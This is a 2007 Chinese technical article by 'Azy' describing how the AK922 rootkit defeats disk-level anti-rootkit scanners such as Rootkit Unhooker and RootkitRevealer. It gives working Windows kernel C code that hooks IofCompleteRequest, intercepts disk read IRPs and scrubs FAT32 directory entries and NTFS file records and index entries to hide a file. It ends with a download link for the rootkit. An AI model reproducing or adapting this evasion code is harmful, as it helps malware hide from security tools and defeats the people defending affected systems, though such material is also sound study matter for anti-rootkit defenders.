突破磁盘低级检测实现文件隐藏

作者：Azy
完成于：2007-08-08

目前，一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法：第一种是文件系统层的检测，属于这一类的有icesword， darkspy，gmer等。第二种便是磁盘级别的低级检测（Disk Low-Level Scanning），属于这一类的ark也很多，典型代表为rootkit unhooker，filereg（is的插件），rootkit revealer，blacklight等。当然，还有一些工具，它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
驱动也好，应用也罢，说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中（fastfat.sys/ntfs.sys），第二类被发送到磁盘驱动（disk.sys），而后IRP便会携带相应的文件信息返回，这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层， IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息，所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法，当然，这也是在AK922中使用的。
对于要实现文件隐藏的RK，与其说是“绕过”，还不如说是“拦截” -- 挂钩某些内核函数调用，以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思，因为它不仅是一个几乎在任何驱动中都要调用的函数，而且参数中正好含有IRP。有了IRP，就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是，一般在驱动中调用 IofCompleteRequest之时IRP操作都已完毕，IRP中相关域已经填充了内容，这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
下面就着重说一下工作流程：
首先，判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象，因为这才是我们要处理的核心IRP，所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
接下来的处理要特别注意，进入到这里时IRQL是在APC_LEVEL以上的，因此我们不能碰任何IRP中的用户模式缓冲区，一碰极有可能蓝，也就是说我们不能直接处理相关磁盘扇区信息，而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外，由于Disk层在设备堆栈中处于靠下的位置，大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了，这里的发起者应理解为ark进程。幸运的是在IRP的 Tail.Overlay.Thread域中还保存着原始ETHREAD指针，为了操作用户模式缓冲区，必须调用KeAttachProcess切到 IRP发起者的上下文环境中，而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上，做的事越少越好。
刚开始我还分两种情况进行处理：因为并不是所有的IRP都不处在原始上下文中，比如icesword发的IRP到这里还是处在icesword.exe进程中的，这时我认为可以不用排队工作项，这样就可以节省很多系统资源，提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区，但这根本行不通。驱动很不稳定，不一会就蓝了。故索性老老实实地排队去了，然后再分情况处理。代码如下：

// 处理Disk Low-Level Scanning
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
{

orgnThread = Irp->Tail.Overlay.Thread;
orgnProcess = IoThreadToProcess(orgnThread);

if(Irp->MdlAddress)
{
UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);

// UserBuffer必须有效
if(UserBuffer)
{

if(KeGetCurrentIrql() == DISPATCH_LEVEL)
{

RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));

WorkerCtx->UserBuffer = UserBuffer;
WorkerCtx->Length = irpSp->Parameters.Read.Length;
WorkerCtx->EProc = orgnProcess;

ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);

ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
}
}

}
}


来到工作者线程，到了PASSIVE_LEVEL级上，切换上下文之后，似乎安全多了。但是以防万一，操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下：

VOID WorkerThread(PVOID Context)
{
KIRQL irql;
PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
//PMDL mdl;


if(((PWORKERCTX)Context)->UserBuffer)
{
if(eproc != currProc)
{

KeAttachProcess(eproc);

__try{

// ProbeForWrite must be running <= APC_LEVEL
ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
}

__except(EXCEPTION_EXECUTE_HANDLER){

//DbgPrint("we can't op the buffer now :-(");
KeDetachProcess();
return;
}

KeDetachProcess();

}else{

__try{

// ProbeForWrite must be running <= APC_LEVEL
ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
}

__except(EXCEPTION_EXECUTE_HANDLER){}
}

}
}

准备工作终于算是做得差不多了，下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构，我先把要用到的主要结构列出来，其余的大家可以参考《NTFS Documentation》。

typedef struct _INDEX_HEADER{
UCHAR magic[4];
USHORT UpdateSequenceOffset;
USHORT SizeInWords;
LARGE_INTEGER LogFileSeqNumber;
LARGE_INTEGER VCN;
ULONG IndexEntryOffset; // needed!
ULONG IndexEntrySize;
ULONG AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;

typedef struct _INDEX_ENTRY{
LARGE_INTEGER MFTReference;
USHORT Size; // needed!
USHORT FileNameOffset;
USHORT Flags;
USHORT Padding;
LARGE_INTEGER MFTReferParent;
LARGE_INTEGER CreationTime;
LARGE_INTEGER ModifyTime;
LARGE_INTEGER FileRecModifyTime;
LARGE_INTEGER AccessTime;
LARGE_INTEGER AllocateSize;
LARGE_INTEGER RealSize;
LARGE_INTEGER FileFlags;
UCHAR FileNameLength;
UCHAR NameSpace;
WCHAR FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

在读取磁盘文件信息时每次都是以一个扇区大小（512 bytes）的整数倍进行的，如果不了解相应卷的组织形式和数据结构，那么感觉就是数据多而繁杂，搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句，算法的高效是很重要的，如果采用暴力搜索的方式，那么系统BSOD的概率会大大增加。
在FAT32卷上，当AK922搜索到文件AK922.sys的目录项时，将其0x0偏移处的文件名的第一个字节置为"0xe5"，即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽，不让winhex察觉出来，最好把文件名全部清0。
处理NTFS卷稍微麻烦些，文件记录和索引项都要抹干净，具体实现见代码，这里不再赘述。

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
ULONG i;
BOOLEAN bIsNtfsIndex;
BOOLEAN bIsNtfsFile;
ULONG offset = 0;
ULONG indexSize = 0;
PINDEX_ENTRY currIndxEntry = NULL;
PINDEX_ENTRY preIndxEntry = NULL;
ULONG currPosition;


bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
{

for(i = 0; i < BufLen/0x20; i++)
{
if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
{

*(PUCHAR)UserBuf = 0xe5;
*(PULONG)((ULONG)UserBuf + 0x1) = 0;

break;

}

UserBuf = (PVOID)((ULONG)UserBuf + 0x20);

}

} else if(bIsNtfsFile) {

//DbgPrint("FILE0...");

for(i = 0; i < BufLen / FILERECORDSIZE; i++)
{
if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
{
memset((PVOID)UserBuf, 0, 0x4);
memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
break;
}

UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);

}

} else if(bIsNtfsIndex) {

//DbgPrint("INDX...");
// Index Entries

offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
indexSize = BufLen - offset;
currPosition = 0;

currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
//DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);

while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
{
if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
{
memset((PVOID)currIndxEntry->FileName, 0, 18);

if(currPosition == 0)
{
((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
break;
}

preIndxEntry->Size += currIndxEntry->Size;

break;
}

currPosition += currIndxEntry->Size;
preIndxEntry = currIndxEntry;
currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);

}
}
}

水平有限，欢迎大家与我交流。

参考资料：

[1] - 《NTFS Documentation》
[2] - Azy，《IceSword & Rootkit Unhooker驱动简析》

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关于AK922(AzyKit)：我写的一个只实现文件隐藏的RK，可以bypass本文提到的所有ark。
Download @ http://www.wiiupload.net/sf/65b4e75ec4